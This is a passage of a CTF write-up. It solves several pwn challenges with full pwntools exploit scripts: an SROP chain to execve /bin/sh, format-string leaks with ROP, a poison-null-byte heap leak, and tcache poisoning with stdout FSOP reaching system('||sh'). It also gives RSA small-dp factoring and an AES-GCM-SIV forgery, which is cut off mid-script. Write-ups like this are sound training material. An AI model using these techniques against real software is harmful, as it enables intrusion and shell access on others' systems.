  3. Next 8 bytes: syscall (the gadget that will invoke syscall)

  4. Immediately after that, in memory, we place a SigreturnFrame structure that sets:

    rax = 59                # SYS_execve
    rdi = binsh             # pointer to "/bin/sh"
    rsi = 0
    rdx = 0
    rip = syscall           # after sigreturn, do syscall again
    rsp = something safe    # not really used by execve
    

Execution:

  • When bomb_devils_contract returns, it jumps to pop_rax_ret.
  • pop_rax_ret pops the next QWORD into raxrax = 0xf.
  • Then ret jumps to the next QWORD → syscall.
  • That syscall executes rt_sigreturn, which restores registers from the frame we placed on the stack.
  • Now:
    • rax = 59 (execve)
    • rdi = binsh
    • rsi = 0
    • rdx = 0
    • rip = syscall
  • The CPU jumps to syscall again → executes execve("/bin/sh", 0, 0)shell.

Building the Final Payload

We first build the desired 0x200‑byte stack image desired as if there were no XOR:

offset_to_ret = 0x58  # from buffer start to saved RIP

from pwn import SigreturnFrame

frame = SigreturnFrame()
frame.rax = 59          # execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = 0

desired  = b'A' * offset_to_ret
desired += p64(pop_rax_ret)  # overwritten RIP
desired += p64(0xf)          # rax = rt_sigreturn
desired += p64(syscall)      # syscall; triggers sigreturn
desired += bytes(frame)      # sigreturn frame

desired = desired.ljust(0x200, b'\x00')  # Bomb Devil copies full 0x200

Now we encode it with the repeating 8‑byte key:

key = p64(system_leak)  # 8 bytes from the info leak

encoded = bytearray()
for i in range(len(desired)):
    encoded.append(desired[i] ^ key[i % 8])
payload = bytes(encoded)

We send this payload to the Bomb Devil when prompted:

[BOMB DEVIL] Infuse your energy into the contract:

Solve

Below is the full pwntools script that implements everything:

  • Leaks system via Control + War devils.
  • Computes libc base.
  • Builds SROP payload considering XOR.
  • Gets a shell.
#!/usr/bin/env python3
from pwn import *

# ------------------------------------------------------------
# Config
# ------------------------------------------------------------

binary_path = './chal_chainsawman'
libc_path   = './libc.so.6'
ld_path     = './ld-linux-x86-64.so.2'

context.binary = ELF(binary_path, checksec=False)
context.arch   = 'amd64'
context.os     = 'linux'
context.log_level = 'info'

elf  = context.binary
libc = ELF(libc_path, checksec=False)

HOST = 'remote.infoseciitr.in'
PORT = 8005

# Offsets inside the provided libc.so.6
SYSTEM_OFF   = libc.sym['system']                  # 0x58750 for this libc
BINSH_OFF    = next(libc.search(b'/bin/sh'))       # 0x1cb42f

# Manually found gadgets in this specific libc build
POP_RAX_RET_OFF = 0xDD237  # misaligned: 58 c3 → pop rax ; ret
SYSCALL_OFF     = 0x288B5  # syscall


# ------------------------------------------------------------
# Helpers
# ------------------------------------------------------------

def start():
    """
    Start local process (with given ld & libc) or remote.
    Use:
      python3 solve_pwn1.py LOCAL
      python3 solve_pwn1.py      # remote
    """
    if args.LOCAL:
        return process(
            [ld_path, "--library-path", ".", binary_path],
            env={"LD_PRELOAD": libc_path}
        )
    else:
        return remote(HOST, PORT)


def leak_system_key(io):
    """
    Use CONTROL DEVIL (Makima) + WAR DEVIL (Yoru) to leak the
    8-byte contract_seal (which is exactly system@libc).
    """
    # -----------------------------
    # CONTROL DEVIL: low 4 bytes
    # -----------------------------
    io.recvuntil(b"[CONTROL DEVIL] Submit to her control: ")

    payload0 = b'A' * 4
    io.send(payload0)

    io.recvuntil(b"[CONTROL DEVIL] Your dominated essence: ")
    leak0 = io.recvn(4)
    try:
        io.recvline()
    except EOFError:
        pass

    key0 = xor(leak0, payload0)
    log.info(f"key0 (low 4 bytes): {key0.hex()}")

    # -----------------------------
    # WAR DEVIL: high 4 bytes
    # -----------------------------
    io.recvuntil(b"[WAR DEVIL] Offer your tribute to War: ")

    payload1 = b'B' * 4
    io.send(payload1)

    io.recvuntil(b"[WAR DEVIL] Your war essence: ")
    leak1 = io.recvn(4)
    try:
        io.recvline()
    except EOFError:
        pass

    key1 = xor(leak1, payload1)
    log.info(f"key1 (high 4 bytes): {key1.hex()}")

    key = key0 + key1              # 8 bytes, little-endian
    system_leak = u64(key)
    log.success(f"Leaked system address: {hex(system_leak)}")

    return system_leak, key


def build_srop_payload(libc_base, key):
    """
    Build the 0x200-byte payload for Bomb Devil, already XOR-encoded with key.
    libc_base comes from the system leak.
    key is the 8-byte XOR key (system address bytes).
    """
    # Resolve gadgets and useful addresses
    pop_rax_ret = libc_base + POP_RAX_RET_OFF
    syscall     = libc_base + SYSCALL_OFF
    binsh       = libc_base + BINSH_OFF

    log.info(f"libc base        : {hex(libc_base)}")
    log.info(f"pop rax; ret     : {hex(pop_rax_ret)}")
    log.info(f"syscall          : {hex(syscall)}")
    log.info(f"'/bin/sh' string : {hex(binsh)}")

    # SigreturnFrame is available directly from pwntools
    frame = SigreturnFrame()
    frame.rax = 59          # SYS_execve
    frame.rdi = binsh       # "/bin/sh"
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall     # 2nd syscall → execve
    frame.rsp = 0           # doesn't matter, execve doesn't return

    # Stack layout inside bomb_devils_contract:
    #   buffer at [rbp-0x50]
    #   saved RBP at [rbp]
    #   saved RIP at [rbp+8]
    # memcpy(buffer, heap, 0x200) → overflow by 0x1b0 bytes
    offset_to_ret = 0x58    # from start of buffer to saved RIP

    desired  = b'A' * offset_to_ret
    desired += p64(pop_rax_ret)  # overwritten return address
    desired += p64(0xf)          # rax = SYS_rt_sigreturn
    desired += p64(syscall)      # syscall; with rsp pointing at frame
    desired += bytes(frame)      # SigreturnFrame on stack

    # Bomb Devil copies exactly 0x200 bytes
    desired = desired.ljust(0x200, b'\x00')

    # Encode with repeating 8-byte key (system address bytes)
    assert len(key) == 8
    encoded = bytearray()
    for i in range(len(desired)):
        encoded.append(desired[i] ^ key[i % 8])

    return bytes(encoded)


# ------------------------------------------------------------
# Main exploit
# ------------------------------------------------------------

def main():
    io = start()

    # Just let leak_system_key drive the initial menu/banner.
    system_leak, key = leak_system_key(io)

    # Compute libc base from leaked system
    libc_base = system_leak - SYSTEM_OFF
    log.success(f"Computed libc base: {hex(libc_base)}")

    # After WAR DEVIL, story text → Bomb Devil
    io.recvuntil(b"[BOMB DEVIL] Infuse your energy into the contract: ")

    # Build and send 0x200-byte payload
    payload = build_srop_payload(libc_base, key)
    assert len(payload) == 0x200
    io.send(payload)

    # Drop to interactive shell
    io.interactive()


if __name__ == '__main__':
    main()

FLAG: flag{1've_n3ver_g0n3_t0_sch00l_eith3r!}

Aladdin ka Chirag

Description

what's your wish?

Analysis

  • checksec: The binary has no canary
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
Stripped:   No
  • Reverse engineering: The program logic is quite simple, as it has a single cave() function that allows us to read into two buffers on the stack: buf and s

  • Vulnerabilities: The function cave() has two vulnerabilities:

    1. Stack overflow: It allocates 8 bytes for s, but allows us to write upto 18 bytes to it. Hence, it is possible to overwrite saved rbp and 2 lowest bytes of the return address
    2. Format string bug: It calls printf(buf) with buf being a user controlled buffer

Exploitation

  • The first thing to mention is that if we can execute cave() only once, it is impossible to get a working exploit as despite the two bugs, we do not have any leak at first. Therefore, it is important to use the stack overflow vulnerability to create a loop, in which we can execute the cave() function many times. The approach that I opt for is overwriting the lowest byte of the return address from D2 to B0, which allows us to jump to the beginning of main().

  • From now, there are different paths that we can follow, as we have a powerful format string vulnerability (note that the payload string can be upto 24 bytes). However, I accidentally found a seemingly easier ROP approach, because I see some of my addresses "stacked" up as return addresses consecutively.

  • My approach is generally as follows: First, I leak libc using the format string bug. After every cave() calls, we need to always overwrite the last byte of the return address to B0 to loop back to main. The next thing that I notice is in the beginning of main, there are 2 instructions

push    rbp
mov     rbp, rsp
  • Since the saved rbp is under our control, then we can push it back on the stack at the beginning of main. Another good thing is that we do not need to worry about it being a legitimate stack address as it will always be overwritten with rsp afterwards.
  • Finally, we simply put our ROP gadgets at the positions of saved rbp to achieve a chain
#!/usr/bin/env python3

from pwn import *
libc = ELF('./libc.so.6')
p = remote('remote.infoseciitr.in', 8007)

def leak_libc():
    p.sendafter(b'name >>', b'A' * 16 + b'\xb0')
    p.sendafter(b'wish >> ', b'%11$llx\0')
    libc_leak = p.recvline().strip().decode()
    return int('0x' + libc_leak, 16) - 0x2a1ca

# Leak libc
libc_base = leak_libc()
log.info(f'libc_base: {hex(libc_base)}')

# Calculating addresses
pop_rdi = libc_base + 0x10f78b
pop_rsi = libc_base + 0x110a7d
binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.symbols['system']

# ROP
p.sendafter(b'name >>', b'A' * 8 + p64(system) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(0) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(pop_rsi) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(binsh) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)
p.sendafter(b'name >>', b'A' * 8 + p64(pop_rdi) + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)

# Padding so that when we end the loop, ROP will start at pop_rdi
p.sendafter(b'name >>', b'A' * 8 + b'A' * 8 + b'\xb0')
p.sendafter(b'wish >> ', b'A' * 8)

# Send this to end the loop
p.sendafter(b'name >> ', b'A')
p.sendafter(b'wish >> ', b'A')

p.interactive()

Santa's Workshop

Description

Explore Santa's magical gift workshop and uncover the mysteries of the North Pole. Ho Ho Ho!

We are given a Google Drive link with the binaries chall, libc.so.6 and ld-linux-x86-64.so.2

Analysis

  • checksec: All the mitigations are used
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled
SHSTK:      Enabled
IBT:        Enabled
  • Reverse engineering: The binary allows us to perform various actions on the heap including

    1. malloc a chunk of size in range (0x50 and 0x1000)
    2. write to a chunk
    3. read from a chunk
    4. free the chunk (and the pointer and size are nulled as well so no use-after-free)
    5. master-key: check if our input matches a random 16 bytes from /dev/urandom, can only be called after load-secret. If it matches, print the flag
    6. load-secret: generate 16 random bytes and store them on the heap and a global variable.
  • The main goal of us now is to somehow leak the secret random 16 bytes on the heap/ on the global variable to achieve win()

  • Vulnerabilities: There are two main vulnerabilities in this binary

    1. Free heap leak: The binary freely gives us the heap address at the beginning
    2. Off by one null byte (poison null byte). At address 1A3E, the byte after our input is set to null. As our input can reach the final byte of the corresponding heap chunk, we can null out a single byte in the next chunk (which is the least significant byte of the size field). This situation is commonly known as poison null byte.

Exploitation

#!/usr/bin/env python3

from pwn import *


p = remote('remote.infoseciitr.in', 8000)

def malloc(id, sz):
    p.sendlineafter(b'> ', b'1')
    p.sendlineafter(b'Slot: ', str(id).encode())
    p.sendlineafter(b'Size: ', str(sz).encode())

def free(id):
    p.sendlineafter(b'> ', b'4')
    p.sendlineafter(b'Slot: ', str(id).encode())

def read(id, sz):
    p.sendlineafter(b'> ', b'3')
    p.sendlineafter(b'Slot: ', str(id).encode())
    p.recvuntil(b'Contents: ')
    return p.recv(sz)

def write(id, payload):
    p.sendlineafter(b'> ', b'2')
    p.sendlineafter(b'Slot: ', str(id).encode())
    p.sendafter(b'Message: ', payload)

# Leak heap
p.recvuntil(b'Ho...Ho...Ho..')
heap_base = int(p.recvline().strip().decode(), 16)
log.info(f"Heap_leak: {hex(heap_base)}")

# Off by one null byte -> overlapping chunks
malloc(0, 0x58)
malloc(1, 0x4f8)
malloc(2, 0x50)
write(0, p64(heap_base + 0x20) + p64(0x51) + p64(heap_base + 0x8) + p64(heap_base + 0x10) + b'A' * 0x30 + p64(0x50))
free(1)

# Load secret
p.sendlineafter(b'> ', b'6')

# Leak secret
secret = read(0, 32)[16:]
log.info(f"Secret: {secret}")

# Submit secret
p.sendlineafter(b'> ', b'5')
p.sendafter(b'Code: ', secret)

p.interactive()

The Last Duel

Description

Can you survive the duel, and bring back flag to your homeland?

Analysis

Overview

The binary contains:

  • An array spells[8] of pointers to dynamically allocated buffers

  • A menu for operating on indices 0..7

  • A global array of constant spell names

    const char *spell_texts[8] = {
        "Fireball",
        "Rasengan",
        "AvadaKedavra",
        "Kamehameha",
        "Expelliarmus",
        "arcane_blast_of_the_void!",
        "LIGHT",
        "DARK"
    };
    
Vulnerability

When choosing Learn spell (menu 1), the program has a heap overflow bug:

int learn_spell(int idx)
{
    int r = rand() % 8;
    const char *text = spell_texts[r];      // fixed internal string

    printf("guess: ");
    char user_pattern[0x100];
    read_line(user_pattern, 0x100);         // your input

    int pos = 0;
    int res = mini_regex_match(text, user_pattern, &pos);
    if (res < 0)
        return -1;

    // BUG: res is *position* in text, not length, but used as malloc size
    void *ptr = malloc(res);
    // BUG: memcpy size is strlen(text) or similar, not bounded by res
    memcpy(ptr, user_pattern, strlen(text));

    spells[idx] = ptr;
}

Core Bug: mini_regex_match returns the match position in text, which is used as malloc size. However, the copy size is based on the full spell name length, creating a heap overflow that overwrites chunk metadata.

Other Menu Options:

  • Forget spell (3): free(spells[idx])
  • Remember spell (4): Prints spell content - can leak heap/libc from freed chunks
  • Special spell (5): Custom malloc/memcpy for precise metadata overwrite
  • Menu 6: Exit path with two malloc(0xe8) calls + stdout cleanup → FSOP target via _IO_2_1_stdout_
RNG Control

The game uses rand() % 8 to select spells. We need specific lengths:

  • "arcane_blast_of_the_void!" (index 5, length 0x19)
  • "Rasengan" (index 1, length 0x8)

RNG Synchronization:

libll = CDLL('./libc.so.6')
libll.srand(time.time())

Use dodge (menu 2) to burn rand() calls until we get the desired spell index, making behavior deterministic.

Heap Overflow Technique

Vulnerable Code:

res = mini_regex_match(text, pattern, &pos);  // res = match position
ptr = malloc(res);                              // small allocation
memcpy(ptr, pattern, strlen(text));             // large copy → overflow

Attack Pattern: Use regex patterns to control both allocation size and overflow content:

payload = b'.?' * 0x0c + p8(0x21) + b'?'  # Sets next chunk size to 0x21

This creates controlled overflows into adjacent chunk metadata.

Information Leaks

Heap Base Leak:

  • Free a tcache chunk: fd = heap_base >> 12 (safe-linking with NULL next)
  • Use remember to read freed chunk contents
  • Extract and decode: heap_base = (leaked_fd << 12)

Libc Base Leak:

  • Create fake unsorted bin chunk (size 0xa1)
  • When freed, contains main_arena pointers
  • Small allocation + remember reveals libc address
  • Calculate: libc_base = leak - main_arena_offset
Exploit Strategy

1. Leak Information:

  • Heap base: heap_base = (fd_leak << 12)
  • Libc base: libc_base = main_arena_leak - 0x203bb0

2. Prepare 0xf0 Chunks:

  • Create and free two 0xf0-sized chunks for tcache poisoning
  • Menu 6 will allocate malloc(0xe8) twice → uses our corrupted tcache

3. Tcache Poisoning:

  • Safe-linking: fd = (chunk_addr >> 12) ^ target
  • Target: _IO_2_1_stdout_
  • Overflow first 0xf0 chunk's fd to point to stdout
Tcache poisoning with safe‑linking

We use the special spell (menu 5) to overwrite the first 0xf0 chunk’s header (which includes the fd pointer stored by tcache).

Safe‑linking formula in glibc 2.32+:

fd = PROTECT_PTR(chunk_addr, target) = ((uintptr_t)chunk_addr >> 12) ^ target;

So if we want fd to point to target = &_IO_2_1_stdout_, we must store:

fd = ((chunk_addr >> 12) ^ target);

We know:

  • chunk_addrheap_base + 0x400 (from heap layout we observed).
  • target = _IO_2_1_stdout_.

In the exploit:

stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
mangled = stdout_addr ^ ((heap_base + 0x400) >> 12)

payload = b"A" * 0x18 + p64(0xf1) + p64(mangled)
special(5, 0x28, payload)

This overwrites the chunk header for the first 0xf0 tcache entry:

  • prev_size (ignored)
  • size = 0xf1 (0xf0 used size + inuse bit)
  • fd = mangled.

Now, when the program later asks for malloc(0xe8):

  1. The first returned pointer will be that corrupted chunk (we ignore its content).
  2. The second malloc(0xe8) will follow its fd, which now points to _IO_2_1_stdout_.

Thus, the second allocation from menu 6 returns a pointer right into the stdout FILE structure, letting us overwrite it.

FSOP: hijacking stdout

Once malloc returns _IO_2_1_stdout_, the code expects a normal heap chunk and later copies user‑controlled data into it. We craft a fake FILE structure that, when glibc does stream operations (printing, flushing, closing) on stdout at program exit, will end up calling system("||sh").

In pwntools, building a FILE structure is straightforward:

from pwn import FileStructure

_IO_2_1_stdout_ = stdout_addr
system_addr = libc_base + libc.symbols['system']

fp = FileStructure()
fp.flags = 0xfbad2484 + (u32(b'||sh') << 32)  # magic + "||sh"
fp._IO_read_end = system_addr
fp._lock = _IO_2_1_stdout_ + 0x50
fp._wide_data = _IO_2_1_stdout_
fp.vtable = libc_base + libc.symbols['_IO_wfile_jumps'] - 0x20

payload = bytes(fp) + p64(_IO_2_1_stdout_ + 0x10 - 0x68)

Here:

  • fp.flags is set to a standard stdout read/write flag pattern (0xfbad2484) plus an encoded "||sh" in the upper bits, used as the argument to system.
  • fp._IO_read_end is abused to hold the address of system.
  • fp.vtable points inside _IO_wfile_jumps, but shifted such that one of the early virtual calls ends up using our crafted pointers.

Finally we send it during menu 6 interaction:

sa(b">> ", b"6")         # choose option 6 (exit)
sa(b">> ", b"A" * 8)     # satisfy some read for the first malloc
sa(b">> ", payload)      # overwrite stdout with our fake FILE

During program termination, glibc performs cleanup / flush on stdout, hits the corrupted vtable, and effectively executes:

system("||sh");

Solve

Below is the final exploit script used to solve the challenge, combining all of the steps above:

  • RNG synchronization and steering rand()%8 via dodge.
  • Heap layout manipulation for heap leak.
  • Fake unsorted bin and libc leak.
  • Tcache poisoning with safe‑linking.
  • FSOP on _IO_2_1_stdout_ to get system("||sh").
#!/usr/bin/env python3
from pwn import *
from ctypes import CDLL
import math, time

# ----------------------------------------------------------------------
# Setup
# ----------------------------------------------------------------------
exe = ELF('./chall', checksec=False)
libc = ELF('./libc.so.6')
context.binary = exe
context.log_level = 'info'

HOST = 'remote.infoseciitr.in'
PORT = 8006

def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        # run with the provided loader + libc locally
        return process(['./ld-linux-x86-64.so.2', '--library-path', '.', exe.path])

# shorthand
def s(data):              p.send(data)
def sa(delim, data):      p.sendafter(delim, data)
def sl(data):             p.sendline(data)
def sla(delim, data):     p.sendlineafter(delim, data)
def rcu(delim):           return p.recvuntil(delim)

# ----------------------------------------------------------------------
# Menu wrappers
# ----------------------------------------------------------------------
def learn(idx, guess, spell_len):
    """
    Menu 1: Learn the spell

    The binary does: val = rand() % 8; spell = spells[val];
    We want a specific spell length to control memcpy size:

      spell_len == 0x19 -> index 5: "arcane_blast_of_the_void!" (len 25)
      spell_len == 0x8  -> index 1: "Rasengan"                (len 8)

    We keep calling "dodge" (menu 2) until rand()%8 hits the index we want.
    """
    if spell_len == 0x19:
        target = 5
    elif spell_len == 0x8:
        target = 1
    else:
        raise ValueError("unexpected spell_len")

    val = libll.rand() % 8
    while val != target:
        dodge()              # menu 2, burns one rand()
        val = libll.rand() % 8

    sa(b'>> ', b'1')
    sla(b'>> ', str(idx).encode())
    sla(b'guess: ', guess)

def dodge():
    sa(b'>> ', b'2')

def forget(idx):
    sa(b'>> ', b'3')
    sla(b'>> ', str(idx).encode())

def remember(idx):
    sa(b'>> ', b'4')
    sla(b'>> ', str(idx).encode())

def special(idx, size, spell):
    sa(b'>> ', b'5')
    sla(b'>> ', str(idx).encode())
    sla(b'>> ', str(size).encode())
    sla(b'spell: ', spell)

# ----------------------------------------------------------------------
# Main exploit
# ----------------------------------------------------------------------
p = start()

# local copy of the SAME libc used by the binary, for rand() predict
libll = CDLL('./libc.so.6')
now = int(math.floor(time.time()))
libll.srand(now)

# ----------------------------------------------------------------------
# 1) Heap leak via tcache entry
# ----------------------------------------------------------------------
payload = b'.?' * 0x0c + p8(0x21) + b'?'

for i in range(0, 3):
    learn(i, payload, 0x19)
for i in range(3, 8):
    learn(i, payload, 0x19)

forget(0)
payload2 = b'.?' * 0x0c + p8(0x31) + b'?'
learn(0, payload2, 0x19)
forget(2)
remember(1)

rcu(b"spell >> ")
p.recvn(0x20)
heap_leak = u64(p.recvn(8))
heap_base = heap_leak << 12
log.info(f'heap_base = {heap_base:#x}')

# ----------------------------------------------------------------------
# 2) Fill tcache for size 0xa0 to avoid consolidation issues
# ----------------------------------------------------------------------
forget(0)
payload = b'.?' * 0x0c + p8(0x21) + b'?'
learn(0, payload, 0x19)
learn(2, payload, 0x19)

for i in range(6, -1, -1):
    forget(i)
    payload = b'.?' * 0x0c + p8(0xa1) + b'?'
    learn(i, payload, 0x19)
    forget(i + 1)

    # restore original layout
    forget(i)
    payload = b'.?' * 0x0c + p8(0x21) + b'?'
    learn(i, payload, 0x19)

for i in range(1, 8):
    payload = b'.?' * 0x0c + p8(0x21) + b'?'
    learn(i, payload, 0x19)

# ----------------------------------------------------------------------
# 3) Libc leak via fake unsorted bin
# ----------------------------------------------------------------------
forget(1)
payload = b'.?' * 0x0c + p8(0xa1) + b'?'
learn(1, payload, 0x19)
forget(2)           # this becomes a (fake) unsorted-bin chunk

# prepare two 0xf0 tcache chunks
forget(4)
payload = b'.?' * 0x0c + p8(0xf1) + b'?'
learn(4, payload, 0x19)
forget(5)           # tcache[0xf0] entry 0

forget(3)
payload = b'.?' * 0x0c + p8(0xf1) + b'?'
learn(3, payload, 0x19)
forget(4)           # tcache[0xf0] entry 1

# leak libc from the unsorted-bin chunk at index 2
payload = b'.?' * (0x8 // 2)
learn(2, payload, 0x8)
remember(2)

rcu(b"spell >> ")
p.recvn(0x8)
libc_leak = u64(p.recvn(8))
libc_base = libc_leak - 0x203bb0      # 0x203bb0 = main_arena + 0xf0 in this libc
log.info(f'libc_base = {libc_base:#x}')

# ----------------------------------------------------------------------
# 4) Tcache poisoning for 0xf0 chunks → target _IO_2_1_stdout_
# ----------------------------------------------------------------------
stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
system_addr = libc_base + libc.symbols['system']

# safe-linking: PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
# here pos is roughly heap_base + 0x400 for the first 0xf0 tcache entry
mangled = stdout_addr ^ ((heap_base + 0x400) >> 12)
payload = b"A" * 0x18 + p64(0xf1) + p64(mangled)

# write into tcache entry using add_special_spell
special(5, 0x28, payload)

# ----------------------------------------------------------------------
# 5) FSOP on stdout via the exit path (menu 6)
# ----------------------------------------------------------------------
sa(b'>> ', b'6')
# first malloc(0xe8) – data not important
sa(b'>> ', b'A' * 8)

_IO_2_1_stdout_ = stdout_addr

# Build fake FILE structure for stdout
fp = FileStructure()
fp.flags = 0xfbad2484 + (u32(b'||sh') << 32)    # "||sh" as part of flags
fp._IO_read_end = system_addr                   # call system()
fp._lock = _IO_2_1_stdout_ + 0x50
fp._wide_data = _IO_2_1_stdout_
fp.vtable = libc_base + libc.symbols['_IO_wfile_jumps'] - 0x20

payload = bytes(fp) + p64(_IO_2_1_stdout_ + 0x10 - 0x68)
sa(b'>> ', payload)

p.interactive()

Cryptography

bolt_fast

Description

Everyone keeps telling me to worry about Wiener's attack, but they just don't understand optimization. Don't bother checking my key size; it's huge. You'll never catch me! Hahahaha!

Analysis

The challenge provides RSA key generation code with a critical vulnerability in creating the dpd_p parameter (CRT exponent).

Vulnerable Code:

# The vulnerability is here:
dp_smart = getPrime(16)
e = inverse(dp_smart, p-1)

Weakness:

In standard RSA CRT (Chinese Remainder Theorem), dpd_p is calculated as: dpd(modp1)e1(modp1)d_p \equiv d \pmod{p-1} \equiv e^{-1} \pmod{p-1}

Normally, dpd_p should be approximately the same size as pp (around 1024 bits). However, the challenge uses getPrime(16), meaning dpd_p is only a 16-bit prime number.

Range of values for dpd_p: 215<dp<216    32,768<dp<65,5362^{15} < d_p < 2^{16} \implies 32,768 < d_p < 65,536

Due to the extremely small key space (only a few thousand prime numbers), we can perform a Brute-force attack to find dpd_p.


Mathematical Derivation

The goal is to find the prime factor pp from NN and ee when we know (or can guess) dpd_p.

  1. From the definition dpe1(modp1)d_p \equiv e^{-1} \pmod{p-1}, we have: edp1=k(p1)e \cdot d_p - 1 = k \cdot (p-1) This means (edp1)(e \cdot d_p - 1) is a multiple of (p1)(p-1).

  2. According to Fermat's Little Theorem, for any integer aa (choose a=2a=2): ap11(modp)a^{p-1} \equiv 1 \pmod p

  3. Substituting, we get: aedp11(modp)a^{e \cdot d_p - 1} \equiv 1 \pmod p p(aedp11)\Rightarrow p \mid (a^{e \cdot d_p - 1} - 1)

  4. Since pp is also a divisor of NN, we can find pp by calculating the Greatest Common Divisor (GCD): p=GCD(aedp11(modN),N)p = \text{GCD}(a^{e \cdot d_p - 1} - 1 \pmod N, N)


Solve

The script below doesn't require external libraries (like pycryptodome), and can be run directly with Python 3.

import math
import sys

# --- CHALLENGE DATA ---
N = 22061149554706951873851465765917042279909309233484615798640186468876401527123242297915465375459511054772541825273007749026648641620485458471351811298443479262277231839408201654282927999029324652496830649919637863202844794784443579336735415046336390091671003022244732389217910334465895328371360158510046347031294125509649474722535171601096998732929497780870057433634214228116293166963101489644680801538837005001377764416442380530464289453201654394144682138927826247301956954884930328147978637795259346321547054237005318172528896865428457293207571804464061990459958593520373578234234490804585522859401957032395007142007
e = 9648003423571638489624579625383119603270189664714210175737275695548206153582516635644990660189908448510652756058045483763071850222529184219333877863638216254054444012130393864033392161426815671725858723096432660521038315432183692553568344247916320931122090436770154203149432285380142051084178668290839858171
c = 18817014323644102879407569381912044887671193778381872592373573382139976320220125847317309926920208859012582031032930373240219755720268543444729983316326640661427616841700761054678137741340093140586895094016730198447552611014038632666821117758006775144046000049080406858764900680265384743839472653817299383323869146152251839342236631780818396088131196202767951301023089053662813175083035336272981588533957561537975684034210166185396046071368061264321959248372783262788158418696375783427276741258526067168910326630496339287237940444426277757582174810909733937257258767407189452212391936958267819666424558678534741723930

# --- MATH HELPER FUNCTIONS ---

# 1. Extended Euclidean Algorithm (Calculate modular inverse)
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
        raise Exception('Modular inverse does not exist')
    else:
        return x % m

# 2. Convert Long to Bytes (Crypto library replacement)
def long_to_bytes(val, endianness='big'):
    width = val.bit_length()
    width += 8 - ((width % 8) or 8)
    fmt = '%%0%dx' % (width // 4)
    s = bytes.fromhex(fmt % val)
    return s

# 3. Sieve of Eratosthenes (Generate list of prime numbers)
def sieve(limit):
    is_prime = [True] * (limit + 1)
    is_prime[0] = is_prime[1] = False
    for p in range(2, int(math.sqrt(limit)) + 1):
        if is_prime[p]:
            for i in range(p * p, limit + 1, p):
                is_prime[i] = False
    return [p for p in range(limit + 1) if is_prime[p]]

# --- ATTACK LOGIC ---

def solve():
    print("[*] STEP 1: Generating 16-bit primes...")
    # dp_smart is 16-bit, so max value is 65536
    primes = sieve(65536)
    
    # Filter primes that fit getPrime(16) -> [2^15, 2^16]
    candidates = [p for p in primes if p >= (1 << 15)]
    print(f"[*] Found {len(candidates)} candidates for dp.")

    print("[*] STEP 2: Brute-forcing dp to find p...")
    for dp in candidates:
        # Check: a^(e*dp - 1) = 1 mod p
        # Calculate GCD(a^(e*dp - 1) - 1, N) to find p
        
        exponent = e * dp - 1
        
        # Base a = 2
        val = pow(2, exponent, N)
        
        p = math.gcd(val - 1, N)
        
        if p > 1 and p < N:
            print(f"\n[+] SUCCESS! Found dp: {dp}")
            print(f"[+] Found p: {str(p)[:30]}...")
            
            # --- DECRYPTION ---
            print("[*] STEP 3: Decrypting the flag...")
            q = N // p
            phi = (p - 1) * (q - 1)
            d = modinv(e, phi)
            
            m_int = pow(c, d, N)
            flag = long_to_bytes(m_int)
            
            print("-" * 40)
            try:
                print(f"FLAG: {flag.decode()}")
            except:
                print(f"FLAG (HEX): {flag.hex()}")
            print("-" * 40)
            return

if __name__ == "__main__":
    solve()

FLAG: flag{w31n3r_d1dn7_73ll_y0u_70_b3_6r33dy}

Ambystoma Mexicanum

Description

The axolotl (Ambystoma mexicanum) is a species of paedomorphic mole salamander, meaning they mature without undergoing metamorphosis into the terrestrial adult form; the adults remain fully aquatic with obvious external gills.

Vulnerability

The server uses the AES GCMSIV encryption system.

The exploitation point leading to the unintended solution is the following code segment:

for i in range(4):
    key = binascii.unhexlify(KEYS[i % len(KEYS)])
    ct = binascii.unhexlify(CIPHERTEXTS[i % len(CIPHERTEXTS)])
  • Using the modulo operation: If there's only 1 key, all 4 iterations use the same key, so we just need to use the first key to encrypt 4 plaintext blocks sequentially:
block0 = b"gib me flag p" + b"   "   # 13 chars + 3 spaces
block1 = b"l" + b" " * 15
block2 = b"i" + b" " * 15
block3 = b"s" + b" " * 15

so that after decryption, they can be combined to form the target message.

Solve

from pwn import *
import re
from cryptography.hazmat.primitives.ciphers.aead import AESGCMSIV

HOST = "remote.infoseciitr.in"   
PORT = 4004          

def main():
    r = remote(HOST, PORT)

    r.recvuntil(b"Your choice:")

    r.sendline(b"2")
    data = r.recvuntil(b"Your choice:").decode()


    key_match   = re.search(r"KEYS=\['([0-9a-f]+)'\]", data)
    nonce_match = re.search(r"nonce=([0-9a-f]+)", data)
    assert key_match and nonce_match, "Failed to parse key/nonce"

    key_hex   = key_match.group(1)
    nonce_hex = nonce_match.group(1)

    print(f"[+] Leaked key:   {key_hex}")
    print(f"[+] Leaked nonce: {nonce_hex}")

    key   = bytes.fromhex(key_hex)
    nonce = bytes.fromhex(nonce_hex)

    block0 = b"gib me flag p" + b"   "   # 13 chars + 3 spaces
    block1 = b"l" + b" " * 15
    block2 = b"i" + b" " * 15
    block3 = b"s" + b" " * 15
    P = block0 + block1 + block2 + block3
    assert len(P) == 64

    aead = AESGCMSIV(key)
    ct   = aead.encrypt(nonce, P, b"")
    ct_hex = ct.hex()
    print(f"[+] Forged ciphertext (hex): {ct_hex}")

    r.sendline(b"3")
